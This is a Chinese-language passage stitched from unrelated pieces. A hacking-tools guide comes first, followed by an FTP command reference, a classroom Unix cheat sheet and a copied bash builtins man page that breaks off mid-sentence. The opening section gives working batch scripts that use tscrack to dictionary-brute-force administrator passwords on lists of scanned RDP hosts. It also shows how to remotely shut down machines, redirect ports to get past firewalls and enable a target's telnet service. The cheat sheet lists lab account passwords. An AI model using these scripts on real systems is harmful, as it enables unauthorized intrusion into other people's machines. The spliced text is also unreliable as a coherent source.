使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
集合了 所有的 Unix命令大全 登陆服务器时输入 公帐号 openlab-open123 telnet 192.168.0.23 自己帐号 sd08077-you0 ftp工具 192.168.0.202 tools-toolss 老师测评网址 http://172.16.0.198:8080/poll/ 各个 shell 可互相切换 ksh:$ sh:$ csh:guangzhou% bash:bash-3.00$ 一、注意事项 命令和参数之间必需用空格隔开,参数和参数之间也必需用空格隔开。 一行不能超过256个字符;大小写有区分。 二、特殊字符含义 文件名以“.”开头的都是隐藏文件/目录,只需在文件/目录名前加“.”就可隐藏它。 ~/ 表示主目录。 ./ 当前目录(一个点)。 ../ 上一级目录(两个点)。 ; 多个命令一起用。 > >> 输出重定向 。将一个命令的输出内容写入到一个文件里面。如果该文件存在, 就将该文件的内容覆盖; 如果不存在就先创建该文件, 然后再写入内容。 输出重定向,意思就是说,将原来屏幕输出变为文件输出,即将内容输到文件中。 < << 输入重定向。 本来命令是通过键盘得到输入的,但是用小于号,就能够使命令从文件中得到输入。 \ 表示未写完,回车换行再继续。 * 匹配零个或者多个字符。 ? 匹配一个字符。 [] 匹配中括号里的内容[a-z][A-Z][0-9]。 ! 事件。 $ 取环境变量的值。 | 管道。把前一命令的输出作为后一命令的输入,把几个命令连接起来。 |经常跟tee连用,tee 把内容保存到文档并显示出来。 三、通用后接命令符 -a 所有(all)。 -e 所有(every),比a更详细。 -f 取消保护。 -i 添加提示。 -p 强制执行。 -r 目录管理。 分屏显示的中途操作 空格 继续打开下一屏; 回车 继续打开下一行; b 另外开上一屏; f 另外开下一屏; h 帮助; q或Ctrl+C 退出; /字符 从上往下查找匹配的字符; ?字符 从下往上查找匹配的字符; n 继续查找。 四、退出命令 exit 退出; DOS内部命令 用于退出当前的命令处理器(COMMAND.COM) 恢复前一个命令处理器。 Ctrl+d 跟exit一样效果,表中止本次操作。 logout 当csh时可用来退出,其他shell不可用。 clear 清屏,清除(之前的内容并未删除,只是没看到,拉回上面可以看回)。 五、目录管理命令 pwd 显示当前所在目录,打印当前目录的绝对路径。 cd 进入某目录,DOS内部命令 显示或改变当前目录。 cd回车/cd ~ 都是回到自己的主目录。 cd . 当前目录(空格再加一个点)。 cd .. 回到上一级目录(空格再加两个点)。 cd ../.. 向上两级。 cd /user/s0807 从绝对路径去到某目录。 cd ~/s0807 直接进入主目录下的某目录(“cd ~"相当于主目录的路径的简写)。 ls 显示当前目录的所有目录和文件。 用法 ls [-aAbcCdeEfFghHilLmnopqrRstux1@] [file...] ls /etc/ 显示某目录下的所有文件和目录,如etc目录下的。 ls -l (list)列表显示文件(默认按文件名排序), 显示文件的权限、硬链接数(即包含文件数,普通文件是1,目录1+)、用户、组名、大小、修改日期、文件名。 ls -t (time)按修改时间排序,显示目录和文件。 ls -lt 是“-l”和“-t”的组合,按时间顺序显示列表。 ls -F 显示文件类型,目录“/ ”结尾;可执行文件“*”结尾;文本文件(none),没有结尾。 ls -R 递归显示目录结构。即该目录下的文件和各个副目录下的文件都一一显示。 ls -a 显示所有文件,包括隐藏文件。 文件权限 r 读权限。对普通文件来说,是读取该文件的权限;对目录来说,是获得该目录下的文件信息。 w 写权限。对文件,是修改;对目录,是增删文件与子目录。 (注 删除没有写权限的文件可以用 rm -f ,这是为了操作方便,是人性化的设计)。 x 执行权限;对目录,是进入该目录 - 表示没有权限 形式 - rw- r-- r-- 其中 第一个是文件类型(-表普通文件,d表目录,l表软链接文件) 第2~4个是属主,生成文件时登录的人,权限最高,用u表示 第5~7个是属组,系统管理员分配的同组的一个或几个人,用g表示 第8~10个是其他人,除属组外的人,用o表示 所有人,包括属主、属组及其他人,用a表示 chmod 更改权限; 用法 chmod [-fR] <绝对模式> 文件 ... chmod [-fR] <符号模式列表> 文件 ... 其中 <符号模式列表> 是一个用逗号分隔的表 [ugoa]{+|-|=}[rwxXlstugo] chmod u+rw 给用户加权限。同理,u-rw也可以减权限。 chmod u=rw 给用户赋权限。与加权限不一样,赋权限有覆盖的效果。 主要形式有如下几种 chmod u+rw chmod u=rw chmod u+r, u+w chmod u+rw,g+w, o+r chmod 777( 用数字的方式设置权限是最常用的) 数字表示权限时,各数位分别表示属主、属组及其他人; 其中,1是执行权(Execute),2是写权限(Write),4是读权限(Read), 具体权限相当于三种权限的数相加,如7=1+2+4,即拥有读写和执行权。 另外,临时文件/目录的权限为rwt,可写却不可删,关机后自动删除;建临时目录:chmod 777 目录名,再chmod +t 目录名。 id 显示用户有效的uid(用户字)和gid(组名) 用法 id [-ap] [user] id 显示自己的。 id root 显示root的。 id -a root 显示用户所在组的所有组名(如root用户,是所有组的组员) df 查看文件系统,查看数据区 用法 df [-F FSType] [-abeghklntVvZ] [-o FSType 特定选项] [目录 | 块设备 | 资源] df -k 以kbytes显示文件大小的查看文件系统方式 六、显示文件内容 more 分屏显示文件的内容。 用法 more [-cdflrsuw] [-行] [+行号] [+/模式] [文件名 ...]。 显示7个信息:用户名 密码 用户id(uid) 组id(gid) 描述信息(一般为空) 用户主目录 login shell(登录shell) cat 显示文件内容,不分屏(一般用在小文件,大文件显示不下);合并文件,仅在屏幕上合并,并不改变原文件。 用法 cat [ -usvtebn ] [-|文件] ... tail 实时监控文件,一般用在日志文件,可以只看其中的几行。 用法 tail [+/-[n][lbc][f]] [文件] tail [+/-[n][l][r|f]] [文件] 七、文件/目录的增删 echo 显示一行内容。 touch 如果文件/目录不存在,则创建新文件/目录;如果文件存在,那么就是更新该文件的最后访问时间, 用法 touch [-acm] [-r ref_file] 文件... touch [-acm] [MMDDhhmm[yy]] 文件... touch [-acm] [-t [[CC]YY]MMDDhhmm[.SS]] file... mkdir 创建目录(必须有创建目录的权限) 用法 mkdir [-m 模式] [-p] dirname ... mkdir dir1/dir2 在dir1下建dir2 mkdir dir13 dir4 dir5 连建多个 mkdir ~/games 用户主目录下建(默认在当前目录下创建) mkdir -p dir6/dir7/dir8 强制创建dir8;若没有前面的目录,会自动创建dir6和dir7。 不用-p时,若没有dir6/dir7,则创建失败。 cp 复制文件/目录 cp 源文件 目标文件 复制文件;若已有文件则覆盖 cp -r 源目录 目标目录 复制目录;若已有目录则把源目录复制到目标目录下, 没有目标目录时,相当于完全复制源目录,只是文件名不同。 cp beans apple dir2 把beans、apple文件复制到dir2目录下 cp -i beans apple 增加是否覆盖的提示 mv 移动或重命名文件/目录 用法 mv [-f] [-i] f1 f2 mv [-f] [-i] f1 ... fn d1 mv [-f] [-i] d1 d2 mv 源文件名 目标文件名 若目标文件名还没有,则是源文件重命名为目标文件;若目标文件已存在,则源文件覆盖目标文件。 mv 源文件名 目标目录 移动文件 mv 源目录 目标目录 若目标目录不存在,则源目录重命名;若目标目录已存在,则源目录移动到目标目录下。 rm 删除文件/目录 用法 rm [-fiRr] 文件 ... rm 文件名 删除文件。 rm -r 目录名 删除目录。 rm –f 文件 只要是该文件或者目录的拥有者,无论是否有权限删除,都可以用这个命令参数强行删除。 rm -rf * 删除所有文件及目录 rmdir 删除空目录。只可以删除空目录。 ln 创建硬链接或软链接,硬链接=同一文件的多个名字;软链接=快捷方式 用法 ln [-f] [-n] [-s] f1 [f2] ln [-f] [-n] [-s] f1 ... fn d1 ln [-f] [-n] -s d1 d2 ln file1 file1.ln 创建硬链接。感觉是同一文件,删除一个,对另一个没有影响;须两个都删除才算删除。 ln -s file1 file1.sln 创建软链接。可跨系统操作,冲破操作权限;也是快捷方式。 八、时间显示 date 显示时间,精确到秒 用法 date [-u] mmddHHMM[[cc]yy][.SS] date [-u] [+format] date -a [-]sss[.fff] cal 显示日历 cal 9 2008 显示2008年9月的日历; cal 显示当月的 用法 cal [ [月] 年 ] 九、帮助 man 帮助( format and display the on-line manual pages) 用法 man [-] [-adFlrt] [-M 路径] [-T 宏软件包] [-s 段] 名称 ... man [-] [-adFlrt] [-M path] [-T macro-package] [-s section] name... man [-M 路径] -k 关键字 ... man [-M 路径] -f 文件 ... awk 按一定格式输出(pattern scanning and processing language) 用法 awk [-Fc] [-f 源代码 | 'cmds'] [文件] 十、vi 底行模式 /? 命令模式 i a o 输入模式 vi 的使用方法 1、光标 h 左 j 下 k 上 l 右 set nu 显示行号(set nonu) 21 光标停在指定行 21G 第N行 (G到文件尾,1G到文件头) 如果要将光标移动到文件第一行,那么就按 1G H 屏幕头 M 屏幕中间 L 屏幕底 ^ 或 shift+6 行首 $ 或 shift+4 行尾 Ctrl+f 下翻 Ctrl+b 上翻 2、输入 (输入模式) o 光标往下换一行 O (大写字母o)在光标所在行上插入一空行 i 在光标所在位置的前面插入字母 a 在光标所在位置的后面插入一个新字母 退出插入状态。 3、修改替换 r 替换一个字符 dd 删除行,剪切行 (5dd删除5行) 5,10d 删除 5 至 10 行(包括第 5行和第 10 行) x 删除一个字符 dw 删除词,剪切词。 ( 3dw删除 3 单词) cw 替换一个单词。 (cw 和 dw 的区别 cw 删除某一个单词后直接进入编辑模式,而dw删除词后仍处于命令模式) cc 替换一行 C 替换从光标到行尾 yy 复制行 (用法同下的 Y ,见下行) Y 将光标移动到要复制行位置,按yy。当你想粘贴的时候,请将光标移动到你想复制的位置的前一个位置,然后按 p yw 复制词 p 当前行下粘贴 1,2co3 复制行1,2在行3之后 4,5m6 移动行4,5在行6之后 u 当你的前一个命令操作是一个误操作的时候,那么可以按一下 u键,即可复原。只能撤销一次 r file2 在光标所在处插入另一个文件 ~ 将字母变成大写 J 可以将当前行与下一行连接起来 /字符 从上往下找匹配的字符 ?字符 从下往上找匹配的字符 n 继续查找 1,$s/旧/新/g 替换全文(或者 %s/旧/新/g) (1表示从第一行开始) 没有g则只替换一次,加g替换所有 3、存盘和退出 w 存盘 w newfile 存成新文件 wq 存盘再退出VI(或者ZZ或 X) q! 强行退出不存盘 查看用户 users 显示在线用户(仅显示用户名)。 who 显示在线用户,但比users更详细,包括用户名、终端号、登录时间、IP地址。 who am i 仅显示自己,(但包括用户名、端口、登录时间、IP地址;信息量=who)。 whoami 也仅显示自己,但只有用户名(仅显示自己的有效的用户名)。 w 显示比who更多内容,还包括闲置时间、占CPU、平均占用CPU、执行命令。 用法 w [ -hlsuw ] [ 用户 ] su 改变用户,需再输入密码。 用法 su [-] [ username [ arg ... ] ] su - 相当于退出再重新登录。 查找 find 查找文件 用法 find [-H | -L] 路径列表 谓词列表 find / -name perl 从根目录开始查找名为perl的文件。 find . -mtime 10 -print 从当前目录查找距离现在10天时修改的文件,显示在屏幕上。 (注 “10”表示第10天的时候;如果是“+10”表示10天以外的范围;“-10”表示10天以内的范围。) grep 文件中查找字符;有过滤功能,只列出想要的内容 用法 grep -hblcnsviw 模式 文件 . . . 如 grep abc /etc/passwd 在passwd文件下找abc字符 wc 统计 -l 统计行数; -w统计单词数; -c 统计字符数 如 grep wang /etc/passwd|wc -l 统计passwd文件含“wang”的行数 du 查看目录情况 如 du -sk * 不加-s会显示子目录,-k按千字节排序 用法 du [-a] [-d] [-h|-k] [-r] [-o|-s] [-H|-L] [文件...] 进程管理 ps 显示进程。 用法 ps [ -aAdeflcjLPyZ ] [ -o 格式 ] [ -t 项列表 ] [ -u 用户列表 ] [ -U 用户列表 ] [ -G 组列表 ] [ -p 进程列表 ] [ -g 程序组列表 ] [ -s 标识符列表 ] [ -z 区域列表 ] ps 显示自己的进程。 ps -e 显示每个进程,包括空闲进程。 ps -f 显示详情。 ps -ef 组合-e和-f,所有进程的详情。 ps -U uidlist(用户列表) 具体查看某人的进程。 kill pkill sleep jobs 用法 jobs [-l ] fg %n bg %n stop %n 挂起(仅csh能用) Ctrl+C Ctrl+Z 网络链接 ping usage ping host [timeout] usage ping -s [-l | U] [adLnRrv] [-A addr_family] [-c traffic_class] [-g gateway [-g gateway ...]] [-F flow_label] [-I interval] [-i interface] [-P tos] [-p port] [-t ttl] host [data_size] [npackets] ifconfig -a /sbin/ifconfig 查看本机的IP地址 netstat -rn rlogin ftp 帮助文件 [sd0807@localhost ~]$ help GNU bash, version 3.1.17(1)-release (i686-redhat-linux-gnu) These shell commands are defined internally. Type `help' to see this list. Type `help name' to find out more about the function `name'. Use `info bash' to find out more about the shell in general. Use `man -k' or `info' to find out more about commands not in this list. A star (*) next to a name means that the command is disabled. JOB_SPEC [&] (( expression )) . filename [arguments] [ arg... ] [[ expression ]] alias [-p] [name[=value] ... ] bg [job_spec ...] bind [-lpvsPVS] [-m keymap] [-f fi break [n] builtin [shell-builtin [arg ...]] caller [EXPR] case WORD in [PATTERN [| PATTERN]. cd [-L|-P] [dir] command [-pVv] command [arg ...] compgen [-abcdefgjksuv] [-o option complete [-abcdefgjksuv] [-pr] [-o continue [n] declare [-afFirtx] [-p] [name[=val dirs [-clpv] [+N] [-N] disown [-h] [-ar] [jobspec ...] echo [-neE] [arg ...] enable [-pnds] [-a] [-f filename] eval [arg ...] exec [-cl] [-a name] file [redirec exit [n] export [-nf] [name[=value] ...] or false fc [-e ename] [-nlr] [first] [last fg [job_spec] for NAME [in WORDS ... ;] do COMMA for (( exp1; exp2; exp3 )); do COM function NAME { COMMANDS ; } or NA getopts optstring name [arg] hash [-lr] [-p pathname] [-dt] [na help [-s] [pattern ...] history [-c] [-d offset] [n] or hi if COMMANDS; then COMMANDS; [ elif jobs [-lnprs] [jobspec ...] or job kill [-s sigspec | -n signum | -si let arg [arg ...] local name[=value] ... logout popd [+N | -N] [-n] printf [-v var] format [arguments] pushd [dir | +N | -N] [-n] pwd [-LP] read [-ers] [-u fd] [-t timeout] [ readonly [-af] [name[=value] ...] return [n] select NAME [in WORDS ... ;] do CO set [--abefhkmnptuvxBCHP] [-o option] [arg ...] shift [n] shopt [-pqsu] [-o long-option] opt source filename [arguments] suspend [-f] test [expr] time [-p] PIPELINE times trap [-lp] [arg signal_spec ...] true type [-afptP] name [name ...] typeset [-afFirtx] [-p] name[=valu ulimit [-SHacdfilmnpqstuvx] [limit umask [-p] [-S] [mode] unalias [-a] name [name ...] unset [-f] [-v] [name ...] until COMMANDS; do COMMANDS; done variables - Some variable names an wait [n] while COMMANDS; do COMMANDS; done { COMMANDS ; } 输入 man help BASH_BUILTINS(1) BASH_BUILTINS(1) NAME bash, :, ., [, alias, bg, bind, break, builtin, cd, command, compgen, complete, continue, declare, dirs, disown, echo, enable, eval, exec, exit, export, fc, fg, getopts, hash, help, history, jobs, kill, let, local, logout, popd, printf, pushd, pwd, read, readonly, return, set, shift, shopt, source, suspend, test, times, trap, type, typeset, ulimit, umask, una- lias, unset, wait - bash built-in commands, see bash(1) BASH BUILTIN COMMANDS Unless otherwise noted, each builtin command documented in this section as accepting options preceded by - accepts -- to signify the end of the options. For example, the :, true, false, and test builtins do not accept options. : [arguments] No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned. . filename [arguments] source filename [arguments] Read and execute commands from filename in the current shell environment and return the exit status of the last command executed from filename. If filename does not contain a slash, file names in PATH are used to find the directory containing file- name. The file searched for in PATH need not be executable. When bash is not in posix mode, the current directory is searched if no file is found in PATH. If the sourcepath option to the shopt builtin command is turned off, the PATH is not searched. If any arguments are supplied, they become the positional parameters when filename is executed. Otherwise the positional parameters are unchanged. The return status is the status of the last command exited within the script (0 if no commands are executed), and false if filename is not found or cannot be read. alias [-p] [name[=value] ...] Alias with no arguments or with the -p option prints the list of aliases in the form alias name=value on standard output. When arguments are supplied, an alias is defined for each name whose value is given. A trailing space in value causes the next word to be checked for alias substitution when the alias is expanded. For each name in the argument list for which no value is supplied, the name and value of the alias is printed. Alias returns true unless a name is given for which no alias has been defined. bg [jobspec ...] Resume each suspended job jobspec in the background, as if it had been started with &. If jobspec is not present, the shell’s notion of the current job is used. bg jobspec returns 0 unless run when job control is disabled or, when run with job con- trol enabled, any specified jobspec was not found or was started without job control. bind [-m keymap] [-lpsvPSV] bind [-m keymap] [-q function] [-u function] [-r keyseq] bind [-m keymap] -f filename bind [-m keymap] -x keyseq:shell-command bind [-m keymap] keyseq:function-name bind readline-command Display current readline key and function bindings, bind a key sequence to a readline function or macro, or set a readline variable. Each non-option argument is a command as it would appear in .inputrc, but each binding or command must be passed as a sepa- rate argument; e.g., ’"\C-x\C-r": re-read-init-file’. Options, if supplied, have the following meanings: -m keymap Use keymap as the keymap to be affected by the subsequent bindings. Accept- able keymap names are emacs, emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command, and vi-insert. vi is equivalent to vi-command; emacs is equivalent to emacs-standard. -l List the names of all readline functions. -p Display readline function names and bindings in such a way that they can be re-read. -P List current readline function names and bindings. -v Display readline variable names and values in such a way that they can be re- read. -V List current readline variable names and values. -s Display readline key sequences bound to macros and the strings they output in such a way that they can be re-read. -S Display readline key sequences bound to macros and the strings they output. -f filename Read key bindings from filename. -q function Query about which keys invoke the named function. -u function Unbind all keys bound to the named function. -r keyseq Remove any current binding for keyseq. -x keyseq:shell-command Cause shell-command to be executed whenever keyseq is entered. The return value is 0 unless an unrecognized option is given or an error occurred. break [n] Exit from within a for, while, until, or select loop. If n is specified, break n levels. n must be ≥ 1. If n is greater than the number of enclosing loops, all enclosing loops are exited. The return value is 0 unless the shell is not executing a loop when break is executed. builtin shell-builtin [arguments] Execute the specified shell builtin, passing it arguments, and return its exit sta- tus. This is useful when defining a function whose name is the same as a shell builtin, retaining the functionality of the builtin within the function. The cd builtin is commonly redefined this way. The return status is false if shell-builtin is not a shell builtin command. cd [-L|-P] [dir] Change the current directory to dir. The variable HOME is the default dir. The variable CDPATH defines the search path for the directory containing dir. Alterna- tive directory names in CDPATH are separated by a colon (:). A null directory name in CDPATH is the same as the current directory, i.e., ‘‘.’’. If dir begins with a slash (/), then CDPATH is not used. The -P option says to use the physical directory structure instead of following symbolic links (see also the -P option to the set builtin command); the -L option forces symbolic links to be followed. An argument of - is equivalent to $OLDPWD. If a non-empty directory name from CDPATH is used, or if - is the first argument, and the directory change is successful, the absolute path- name of the new working directory is written to the standard output. The return value is true if the directory was successfully changed; false otherwise. caller [expr] Returns the context of any active subroutine call (a shell function or a script exe- cuted with the . or source builtins. Without expr, caller displays the line number and source filename of the current subroutine call. If a non-negative integer is supplied as expr, caller displays the line number, subroutine name, and source file corresponding to that position in the current execution call stack. This extra information may be used, for example, to print a stack trace. The current frame is frame 0. The return value is 0 unless the shell is not executing a subroutine call or expr does not correspond to a valid position in the call stack. command [-pVv] command [arg ...] Run command with args suppressing the normal shell function lookup. Only builtin com- mands or commands found in the PATH are executed. If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utilities. If either the -V or -v option is supplied, a description of command is printed. The -v option causes a single word indicating the command or file name used to invoke command to be displayed; the -V option produces a more verbose description. If the -V or -v option is supplied, the exit status is 0 if command was found, and 1 if not. If neither option is supplied and an error occurred or command cannot be found, the exit status is 127. Otherwise, the exit status of the command builtin is the exit status of command. compgen [option] [word] Generate possible completion matches for word according to the options, which may be any option accepted by the complete builtin with the exception of -p and -r, and write the matches to the standard output. When using the -F or -C options, the vari- ous shell variables set by the programmable completion facilities, while available, will not have useful values. The matches will be generated in the same way as if the programmable completion code had generated them directly from a completion specification with the same flags. If word is specified, only those completions matching word will be displayed. The return value is true unless an invalid option is supplied, or no matches were generated. complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] name [name ...] complete -pr [name ...] Specify how arguments to each name should be completed. If the -p option is sup- plied, or if no options are supplied, existing completion specifications are printed in a way that allows them to be reused as input. The -r option removes a completion specification for each name, or, if no names are supplied, all completion specifica- tions. The process of applying these completion specifications when word completion is attempted is described above under Programmable Completion. Other options, if specified, have the following meanings. The arguments to the -G, -W, and -X options (and, if necessary, the -P and -S options) should be quoted to protect them from expansion before the complete builtin is invoked. -o comp-option The comp-option controls several aspects of the compspec’s behavior beyond the simple generation of completions. comp-option may be one of: bashdefault Perform the rest of the default bash completions if the compspec gen- erates no matches. default Use readline’s default filename completion if the compspec generates no matches. dirnames Perform directory name completion if the compspec generates no matches. filenames Tell readline that the compspec generates filenames, so it can per- form any filename-specific processing (like adding a slash to direc- tory names or suppressing trailing spaces). Intended to be used with shell functions. nospace Tell readline not to append a space (the default) to words completed at the end of the line. plusdirs After any matches defined by the compspec are generated, directory name completion is attempted and any matches are added to the results of the other actions. -A action The action may be one of the following to generate a list of possible comple- tions: alias Alias names. May also be specified as -a. arrayvar Array variable names. binding Readline key binding names. builtin Names of shell builtin commands. May also be specified as -b. command Command names. May also be specified as -c. directory Directory names. May also be specified as -d. disabled Names of disabled shell builtins. enabled Names of enabled shell builtins. export Names of exported shell variables. May also be specified as -e. file File names. May also be specified as -f. function Names of shell functions. group Group names. May also be specified as -g. helptopic Help topics as accepted by the help builtin. hostname Hostnames, as taken from the file specified by the HOSTFILE shell variable. job Job names, if job control is active. May also be specified as -j. keyword Shell reserved words. May also be specified as -k. running Names of running jobs, if job control is active. service Service names. May also be specified as -s. setopt Valid arguments for the -o option to the set builtin. shopt Shell option names as accepted by the shopt builtin. signal Signal names. stopped Names of stopped jobs, if job control is active. user User names. May also be specified as -u. variable Names of all shell variables. May also be specified as -v. -G globpat The filename expansion pattern globpat is expanded to generate the possible completions. -W wordlist The wordlist is split using the characters in the IFS special variable as delimiters, and each resultant word is expanded. The possible completions are the members of the resultant list which match the word being completed. -C command command is executed in a subshell environment, and its output is used as the possible completions. -F function The shell function function is executed in the current shell environment. When it finishes, the possible completions are retrieved from the value of the COMPREPLY array variable. -X filterpat filterpat is a pattern as used for filename expansion. It is applied to the list of possible completions generated by the preceding options and argu- ments, and each completion matching filterpat is removed from the list. A leading ! in filterpat negates the pattern; in this case, any completion not matching filterpat is removed. -P prefix prefix is added at the beginning of each possible completion after all other options have been applied. -S suffix suffix is appended to each possible completion after all other options have been applied. The return value is true unless an invalid option is supplied, an option other than -p or -r is supplied without a name argument, an attempt is made to remove a comple- tion specification for a name for which no specification exists, or an error occurs adding a completion specification. continue [n] Resume the next iteration of the enclosing for, while, until, or select loop. If n is specified, resume at the nth enclosing loop. n must be ≥ 1. If n is greater than the number of enclosing loops, the last enclosing loop (the ‘‘top-level’’ loop) is resumed. The return value is 0 unless the shell is not executing a loop when con- tinue is executed. declare [-afFirtx] [-p] [name[=value] ...] typeset [-afFirtx] [-p] [name[=value] ...] Declare variables and/or give them attributes. If no names are given then display the values of variables. The -p option will display the attributes and values of each name. When -p is used, additional options are ignored. The -F option inhibits the display of function definitions; only the function name and attributes are printed. If the extdebug shell option is enabled using shopt, the source file name and line number where the function is defined are 